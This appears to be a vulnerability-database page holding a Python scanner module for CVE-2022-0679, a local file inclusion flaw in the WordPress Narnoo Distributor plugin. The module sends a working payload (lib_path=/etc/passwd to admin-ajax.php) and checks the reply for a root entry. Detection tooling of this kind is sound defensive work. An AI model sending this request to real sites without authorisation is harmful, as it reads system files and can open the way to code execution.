WordPress Narnoo Distributor <=2.5.1 - Local File Inclusion Detection
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CVE-2022-0679 | 28 Mar 202218:15 | – | attackerkb | |
| CVE-2022-0679 | 28 Mar 202222:41 | – | circl | |
| WordPress plugin Narnoo Distributor 路径遍历漏洞 | 28 Mar 202200:00 | – | cnnvd | |
| WordPress Narnoo Distributor plugin path traversal vulnerability | 30 Mar 202200:00 | – | cnvd | |
| CVE-2022-0679 | 28 Mar 202217:23 | – | cve | |
| CVE-2022-0679 Narnoo Distributor <= 2.5.1 - Unauthenticated LFI to Arbitrary File Read / RCE | 28 Mar 202217:23 | – | cvelist | |
| WordPress Narnoo Distributor <=2.5.1 - Local File Inclusion | 16 Oct 202602:05 | – | nuclei | |
| CVE-2022-0679 | 28 Mar 202218:15 | – | nvd | |
| CVE-2022-0679 | 28 Mar 202218:15 | – | osv_cve | |
| WordPress Narnoo Distributor plugin <= 2.5.1 - Unauthenticated Local File Inclusion (LFI) vulnerability leading to Arbitrary File Read / RCE | 1 Mar 202200:00 | – | patchstack |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Narnoo Distributor plugin 2."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress Narnoo Distributor <=2.5.1 - Local File Inclusion Detection',
'description': 'WordPress Narnoo Distributor plugin 2.5.1 and prior is susceptible to local file inclusion. The plugin does not validate and sanitize the lib_path parameter before being passed into a call to require() via the narnoo_distributor_lib_request AJAX action, and the content of the file is displayed in the response as JSON data. This can also lead to a remote code execution vulnerability depending on system and configuration.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web',
'scanner',
'cve',
'cve2022',
'narnoo-distributor',
'wordpress',
'wp-plugin',
'wpscan',
'wp',
'rce',
'unauth',
'lfi',
'narnoo_distributor_project',
'vkev',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://wpscan.com/vulnerability/0ea79eb1-6561-4c21-a20b-a1870863b0a8',
'https://nvd.nist.gov/vuln/detail/CVE-2022-0679',
'https://github.com/cyllective/CVEs',
'https://github.com/ARPSyndicate/cvemon',
'https://github.com/ARPSyndicate/kenzer-templates',
],
'cve': 'CVE-2022-0679',
}
def run(self):
path = '/wp-admin/admin-ajax.php'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest'}, data='action=narnoo_distributor_lib_request&lib_path=/etc/passwd\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if any(re.search(rx, body) for rx in body_regexes):
self.set_info(severity='critical', reason='WordPress Narnoo Distributor <=2.5.1 - Local File Inclusion detected', path=path)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
8.8High risk
Vulners AI Score8.8
CVSS 26.8
CVSS 3.19.8
EPSS0.4783